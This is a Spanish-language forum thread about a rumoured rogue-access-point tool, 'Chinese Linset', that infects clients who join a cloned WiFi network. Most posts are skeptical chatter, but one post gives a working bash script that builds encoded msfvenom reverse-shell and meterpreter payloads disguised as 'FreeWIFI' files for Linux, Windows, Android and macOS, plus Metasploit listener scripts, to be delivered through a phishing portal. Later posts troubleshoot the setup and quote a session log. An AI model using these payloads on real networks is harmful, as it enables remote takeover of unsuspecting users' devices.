¿El Linset chino?

Zona Libre Cañas y tapas
1

Hoy aburrido me encontraba navegando por seguridadwireless y me he encontraado un usuario que decía de haberse topado con una especie de “Linset chino”. Dejo la cita textual

Por lo que explica el tío, hace un funcionamiento igual que el Rouge ap de toda la vida, (ataque a los clientes y conexión a AP clonada) pero en vez de tener que ir al navegador a ver la interface para meter la clave, de alguna manera (no se como) inyecta un payload según el tipo de sistema que detecte, y dicho payload saca las credenciales… y esta las muestra por consola después. Según dice el tipo es muy eficaz “De 50 ha fallado solo 3”

Los moderadores de allá han terminado cerrando el tema, no sé exactamente la razón. Entonces una de dos: o nos encontramos ante una utilidad super ultra pro de las auditorías, o es un troll más… en fin, lo dejo por aquí en el aire para hablar del tema,
Este es en enlace original: http://foro.seguridadwireless.net/live-wifislax/hoy-he-alucinado/

Saludos

2

jaja
salu2
ayer mismo
lo vi busque como un tontin y no encontre nada un php que crea index con peticion de clave eso vi yo andando por ahi por china :(:D:D
me da que el que lo decia estaba preguntando en realidad porque escucharia petardo por ahi y como no sabia pues los ahi que dicen
que tienen algo pero no dan nombre ni nada solo un oftopick
!sinceramente mucho me jode esas tonterias de la gente cuando hacen eso si lo tienes de verdad y creas post da la info cabra si no que se calle la boca diciendo
tengo ; tengo ;tengo tu no tienes nada; tengo 3 chicas en mi cabaña …:lol::lol::lol:

3

Algo cómo msf execute <payload> :smiley:
De esto se trata en MITM, una vez que alguien se conecta a tu PA puedes probar inyectar los payloads que quieres
El portal cautivo es el menor de los problemas…
No se que tiene que venir a hacer Linset (again) aquí ya que se habla de algo totalmente distinto, no tienen nada que ver
Este titulo confunde en lugar de aclarar las cosas.(que son ya turbias)

No se si es una trollada,
Aunque sería cierto tampoco se trata de una “arma ultra pro” pero de un framewrok diseñado para probar unos cuentos payloads determinados…
Exploits que funcionarán contras algunos sistemas desfasados y mal mantenidos, como puedes encontrar miles.
Según las palabars del tío que redacto el tema, lo ha probado contra un Ubuntu y no ha funcionado… Pues ya verás tu la “arma absoluta contra linux” que no funciona en la distribución GNU-Linux la más empleada del mundo :stuck_out_tongue:
¿Quien quiere un exploit chino caducado para ubuntu 9.10?

[quote]tu crees que es masculino ,acaso le has visto el pito?Smiley ;el procedimiento es muy parecido a la wifiphiser,pero la phiser la victima tiene que instalar el payload que ha descargado ,quedando asi una muestra para un posible examen forense a posteriori y esta herramienta tiene ya preparados los payload para cada sistema - linux (asi creo) y infecta la victima directamente dependiendo del sistema que tenga ,yo lo he probado con ubuntu y no va
[/quote]

Lo voy a mover a “cañas y tapas” ya que estamos hablando de rumores en un foro en un tema que esta cerrado y que el tituló no esta adecuado para tratar este “tema” (si lo es :smiley: )

4

[quote=kcdtv]
No se que tiene que venir a hacer Linset (again) aquí ya que se habla de algo totalmente distinto, no tienen nada que ver
Este titulo confunde en lugar de aclarar las cosas.(que son ya turbias) [/quote]

En las pruebas que he llevado a cabo en ingeniería social se encuentra aquí, ya que muchas personas se logran conectar a la interface clonada, a veces solo ven que no son capaces de conectarse a internet, por el HTTPS, o a veces ni abren el navegador. Pero en fin, últimamente no soy partidario del uso de estas utulidades…

Ya se que no es el nombre que le dieron allí, pero por llamarlo de alguna manera, es el nombre que le dieron los moderadores de allá xD

[quote]
Aunque sería cierto tampoco se trata de una “arma ultra pro” pero de un framewrok diseñado para probar unos cuentos payloads determinados…
Exploits que funcionarán contras algunos sistemas desfasados y mal mantenidos, como puedes encontrar miles.
Según las palabars del tío que redacto el tema, lo ha probado contra un Ubuntu y no ha funcionado… Pues ya verás tu la “arma absoluta contra linux” que no funciona en la distribución GNU-Linux la más empleada del mundo :stuck_out_tongue:
¿Quien quiere un exploit chino caducado para ubuntu 9.10? [/quote]

Ahí llevas toda la razón, pero como desconozco todo el temita de payloads pues… no sabía xd

[quote=kcdtv]
Lo voy a mover a “cañas y tapas” ya que estamos hablando de rumores en un foro en un tema que esta cerrado y que el tituló no esta adecuado para tratar este “tema” (si lo es :smiley: )[/quote]

Guay :wink:

5

[quote]Ya se que no es el nombre que le dieron allí, pero por llamarlo de alguna manera, es el nombre que le dieron los moderadores de allá xD
[/quote]
No es porque este moderador no sabe de que habla que vamos a repetir sus pelotudeces; y menos en un titulo… :smiley:
El autor del tema explica mejor las cosas cuando dice lo compara a un wifiphisher dónde se ha automatizado el ataque payload (con wifi phisher lo indicas manualmente)

Una “arma secreta” por definición lleva un payload que explota una brecha tipo “zero day”
Una palabra guay para decir que es una brecha desconocida.
Si hablas de un script que circula por la red puedes estar seguro que no lleva ninguno “exploit zero day”
Sobre todo si se trata de linux porque las pocas brechas chungas zero days (ejemplo shell shock, es más bien una brecha bash pero como bash es le interprete de ordenes de linux, pues podemos considerar que es una brecha linux) se arreglan enseguida.
La ventaja del código abierto es que todos los desarrolladores del planeta se pueden poner a trabajar juntos enseguida.
Para shellshock había un update en menos de 24 horas para todas las distribuciones y tenías parches pocas horas después la publicación de la brecha.
A lo mejor el gobierno Chino tiene una arma secreta eficaz, no se sabe.
Lo que esta claro es que no es el script-programa que han podido probar.

Y este gevenux…¿No te puede pasar el codigó para que echemos un ojo?.. Si se lo preguntas por privado… :wink: :smiley:

6

saludos
hablando de playload he visto por ahi un intento de meterselo a fluxion o linset como lo queramos llamar :lol::lol:
pero claro todo queda en intento son los 4 android ;windos,mac,linux
ahora el tema se puede lanzar un playload sin conexion de red solo la tuya creada por tu ap y el cliente la verdad me marca fallos pero como tengo poca memoria ram y siempre estoy en live como que me lo traba pa sacar foto y si puedes añadir algo de luz (en cuanto puedad haber si hago captura de imagen para que se vea bien)

[code]# Generate payload for sites
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=404 -f elf > $DUMP_PATH/FreeWIFI.elf &> $salida
msfvenom -p windows/shell_bind_tcp LHOST=192.168.1.1 LPORT=404 -f raw -e x86/shikata_ga_nai -i 10 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/jmp_call_additive -i 1|msfvenom -a x86 --platform windows -e x86/call4_dword_xor -i 1 | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 1 -f exe -o $DUMP_PATH//FreeWIFI.exe &> $salida
msfvenom -p android/meterpreter/reverse_http LHOST=192.168.1.1 LPORT=404 R > $DUMP_PATH/FreeWIFI.apk &> $salida
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=404 -f macho > $DUMP_PATH/FreeWIFI.macho &> $salida

################################## < LINUX > ##################################
sudo rm -rf $DUMP_PATH/payloadLinux.rc
touch $DUMP_PATH/payloadLinux.rc
echo “use exploit/multi/handler” > $DUMP_PATH/payloadLinux.rc
echo “set PAYLOAD linux/x86/meterpreter/reverse_tcp” >> $DUMP_PATH/payloadLinux.rc
echo “set LHOST 192.168.1.1” >> $DUMP_PATH/payloadLinux.rc
echo “set LPORT 404” >> $DUMP_PATH/payloadLinux.rc
echo “set ExitOnSession false” >> $DUMP_PATH/payloadLinux.rc
echo “exploit -j” >> $DUMP_PATH/payloadLinux.rc

xterm $HOLD $BOTTOMRIGHT -bg “#000000” -fg “#FF0009” -title “Mfsconsole” -e msfconsole -r “$DUMP_PATH/payloadLinux.rc” &
################################## < WINDOWS > ##################################

sudo rm -rf $DUMP_PATH/payloadWindows.rc
touch $DUMP_PATH/payloadWindows.rc

echo “use exploit/multi/handler” > $DUMP_PATH/payloadWindows.rc
echo “set PAYLOAD windows/shell_bind_tcp” >> $DUMP_PATH/payloadWindows.rc
echo “set LHOST 192.168.1.1” >> $DUMP_PATH/payloadWindows.rc
echo “set LPORT 404” >> $DUMP_PATH/payloadWindows.rc
echo “set ExitOnSession false” >> $DUMP_PATH/payloadWindows.rc
echo “exploit -j” >> $DUMP_PATH/payloadWindows.rc

xterm $HOLD $TOPLEFT -bg “#000000” -fg “#FF0009” -title “Mfsconsole” -e msfconsole -r “$DUMP_PATH/payloadWindows.rc” &

################################## < MAC > ##################################

sudo rm -rf $DUMP_PATH/payloadMac.rc
touch $DUMP_PATH/payloadMac.rc

echo “use exploit/multi/handler” > $DUMP_PATH/payloadMac.rc
echo “set PAYLOAD osx/x86/shell_reverse_tcp” >> $DUMP_PATH/payloadMac.rc
echo “set LHOST 192.168.1.1” >> $DUMP_PATH/payloadMac.rc
echo “set LPORT 404” >> $DUMP_PATH/payloadMac.rc
echo “set ExitOnSession false” >> $DUMP_PATH/payloadMac.rc
echo “exploit -j” >> $DUMP_PATH/payloadMac.rc

xterm $HOLD $TOPRIGHT -bg “#000000” -fg “#FF0009” -title “Mfsconsole” -e msfconsole -r “$DUMP_PATH/payloadMac.rc” &

################################## < ANDROID > ##################################

sudo rm -rf $DUMP_PATH/payloadAndroid.rc
touch $DUMP_PATH/payloadAndroid.rc

echo “use exploit/multi/handler” > $DUMP_PATH/payloadAndroid.rc
echo “set PAYLOAD android/meterpreter/reverse_http” >> $DUMP_PATH/payloadAndroid.rc
echo “set LHOST 192.168.1.1” >> $DUMP_PATH/payloadAndroid.rc
echo “set LPORT 404” >> $DUMP_PATH/payloadAndroid.rc
echo “set ExitOnSession false” >> $DUMP_PATH/payloadAndroid.rc
echo “exploit -j” >> $DUMP_PATH/payloadAndroid.rc

xterm $HOLD $BOTTOMLEFT -bg “#000000” -fg “#FF0009” -title “Mfsconsole” -e msfconsole -r “$DUMP_PATH/payloadAndroid.rc” &

################################## < MAC > ##################################.[/code]

el playload de android es que en teoria le cojes todo camara …pero es un reverse http bien hasta ahi
¿pero lo dicho no se necesita conexion real de internet para inyectar un playload con metasploid y metepreter¿
lo dicho en cuento pueda dejo captura con fallos

7

[quote=kcdtv][quote]Ya se que no es el nombre que le dieron allí, pero por llamarlo de alguna manera, es el nombre que le dieron los moderadores de allá xD
[/quote]
No es porque este moderador no sabe de que habla que vamos a repetir sus pelotudeces; y menos en un titulo… :smiley:
El autor del tema explica mejor las cosas cuando dice lo compara a un wifiphisher dónde se ha automatizado el ataque payload (con wifi phisher lo indicas manualmente)

Una “arma secreta” por definición lleva un payload que explota una brecha tipo “zero day”
Una palabra guay para decir que es una brecha desconocida.
Si hablas de un script que circula por la red puedes estar seguro que no lleva ninguno “exploit zero day”
Sobre todo si se trata de linux porque las pocas brechas chungas zero days (ejemplo shell shock, es más bien una brecha bash pero como bash es le interprete de ordenes de linux, pues podemos considerar que es una brecha linux) se arreglan enseguida.
La ventaja del código abierto es que todos los desarrolladores del planeta se pueden poner a trabajar juntos enseguida.
Para shellshock había un update en menos de 24 horas para todas las distribuciones y tenías parches pocas horas después la publicación de la brecha.
A lo mejor el gobierno Chino tiene una arma secreta eficaz, no se sabe.
Lo que esta claro es que no es el script-programa que han podido probar.

Y este gevenux…¿No te puede pasar el codigó para que echemos un ojo?.. Si se lo preguntas por privado… :wink: :D[/quote]

Gracias por la explicación xD. Por poder puedo… de hecho voy a hacerlo, pero dudo mucho (muchísimo) que me de un “Sí, toma, aquí tienes”. Lo más seguro ni me responda…

8

Cuando tienes un fallos por falta de RAM en modo live generalmente el programa se coloca o se cierra la consola o se termina el proceso.

¡ Claro que si!
Este mismo que usan los servicios secretos chinos, 47 sobre 50 mobiles de media vulnerable. comprobado. :smiley:

Payloads peuden ser miles de cosas… supongo que estos para abrir una reverse shell no lo necesitan, por lo menos en un primer tiempo, se hace a nivel local , así que no es necesaria una conexión a internet, a priori.
Tampoco sabemos de que van exactamente… Pero es probable que intentan hacer una escala de privilegio o inyectar de forma arbitraria comandos usando una vulnerabilidad que esta ya arreglada si el dispositivo esta bien actualizado

Entonces… ¿Para que hablar de ello en publico si luego no es para compartirlo? :smiley: … No entiendo
Además me parece que dice que si se busca en el foro chino este se encuentra… A ver si tienes suerte y logramos echar un ojo en esta famosa arma secreta… :Gracias por intentarlo :wink:

9

salu2
pues lanza bien te da entrada guarda y crea apk todo bien pero algo falla en metasploit y metepreter
me dice algo asi como

fallo con la base de datos logico no hay conexion real es un ap creado ? estoy equivocado?
user msf3 data base msf3 , ssl of

dejo foto

?a que se puede ser vosotros que sabeis ingles ?
parece una tonteria pero estaria bien es buena idea añadir de serie playload viejos ;pero por algo se empieza

10

Hola :cool:

No soy un experto usando metasploit pero parece que tiennes un problemo con la configuracion de la base de datos.

no pg_hba.conf entry for host 192...

Pienso que tienes que buscar el fichero de configuracion y poner el host adentro.

11

[quote=dynyly]salu2
pues lanza bien te da entrada guarda y crea apk todo bien pero algo falla en metasploit y metepreter
me dice algo asi como

fallo con la base de datos logico no hay conexion real es un ap creado ? estoy equivocado?
user msf3 data base msf3 , ssl of

dejo foto
https://s12.postimg.org/72m02ceul/instant_nea1.png

?a que se puede ser vosotros que sabeis ingles ?
parece una tonteria pero estaria bien es buena idea añadir de serie playload viejos ;pero por algo se empieza[/quote]

En efecto como dice el compañero es un error en la conexión del MySQL, hay algun dato mal introducido en el archivo de host (un error típico)
Pero algo no entiendo, el APK se auto-instala en el dispositivo? Si solo se descarga es muy dificil que funcione

12

salu2
gracias por las recomendaciones percisamente estoy buscando en tema de conf pg_hba.conf pero dado mi inexperiencia tendre pa entretenerme un rato …la verdad todo en ingles traduciendo …aprendiendo
mirare tanbien el mysql parece que van los tiros tambien por ahi por lo poco que he buscado
Se supone que al estar en la misma conexion le inyectas o haces que se descarge la apk por medio de la pagina phising
en teoria con ciertos comandos jugarias mas a fondo despues de infectar; en caso se sea vulnerable la victima a cierto playload pero como dice kdctv estas vulneribilidades se corrigen rapido pero pa jugar y aprender
gracias por dar opinion amigos

13

Supongo que son los mismos payload que los del misterioso script chino, tienen toda la pinta.
…Hay que hacer click en 點擊這裡連接到互聯網 o no era esto :smiley:

14

salu2
son mas viejos que el hambre buscando veo que son de 2013 lo menos de nethunter de kali :D:D:D
yo como dije los vi en una copia de linset llamada ares que es mismo de fluxion
buscando despues vi que hay mil paginas hablando de tal playload demostrando comandos y demas consejos es que hay informacion mucha

simplemente pones en el buscador android/meterpreter/reverse_http LHOST= LPORT= R esta todo hay solo es buscar
sin embargo pongo msfvenom -p android/meterpreter/reverse_http LHOST=192.168.1.1 LPORT=404 R a mi y solo me sale una pagina china de top 10 de tools

la verdad nunca he enredado con este tipo de cosas busque informacion sobre ello pero al parecer hay tanto que lia
sencillmente busco archivos a modificar con locate

locate pg_hba.conf
/opt/metasploit/postgresql/data/pg_hba.conf
/opt/metasploit/postgresql/share/pg_hba.conf.sample
me dice donde estan los archivos

en pg_hba.conf
cambio lineas como dicen

# IPv4 local connections: host all all 127.0.0.1/32 md5 host all all 192.168.1.1/24 trust.

otro locate pa saber donde esta postgresql.conf
en archivo postgresql.conf modifico linea

listen_addresses = 'local host' por listen_addresses = '*'.

en iptables abrir puerto

-A INPUT -m state --state NEW -m tcp -p tcp --dport 5432 -j ACCEPT

hago lo que dicen bien creo pero sigo en las mismas

15

2013?
Es muuuuy viejo.

¡Ya te digo!
Este mes hay por ejemplo 284 exploits nuevos en packet storrm…
http://pix.toile-libre.org/upload/original/1478018407.png
Packet Storm New Exploits For October, 2016
Gracias a estos exploits (código para explotar una vulnerabilidad) se pueden crear potencialmente miles y miles de payloads (códigos a ejecutar a travès de esta vulnerabilidad: reverse shell, troyano)
¡Intenso! :smiley:

16

Pues han pasado dos días y el tío no me ha contestado (como imaginaba)… xD

17

Se habrá quedado sin Internet… :smiley:

18

Pa mi que le han baneado. Como allí nombras la palabra vecino ya te banean, xD

19

salu2
creo que tenia razon es ap creado sin conexion despues de mucho enredar
meterpreter necesita conexion real por eso siempre dara fallo al iniciar en pg_hba.conf
con conexion todo perfecto ;pero pena que no vi esto hace un año :D:D:D

http://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation

buena la lista es que no explican como va el tema y para que sirven
los que no entendemos ingles …mal lo llevamos pero indagando playload a maza
(creo que el tal linset chino deberia tener acceso a la red para usar bien metasploit bien )

20

No se que hace el misterioso programa del ejercito rojo :smiley:
Sobre le “tip” que has puesto en link, hace falta tener acceso a la red local (Y hace falta que la victima no tenga un firewall activo)

*] Meterpreter session 1 opened (192.168.1.211:8081 -> 192.168.1.104:56107) at 2015-06-11 08:28:51 -0400

Puedes ver al final la “reverse” shell desde 192.168.1.211 pueto 8081 hacía la IP 192.168.1.104 en otro puerto
Hace falta acceso a la red local, sea cómo sea.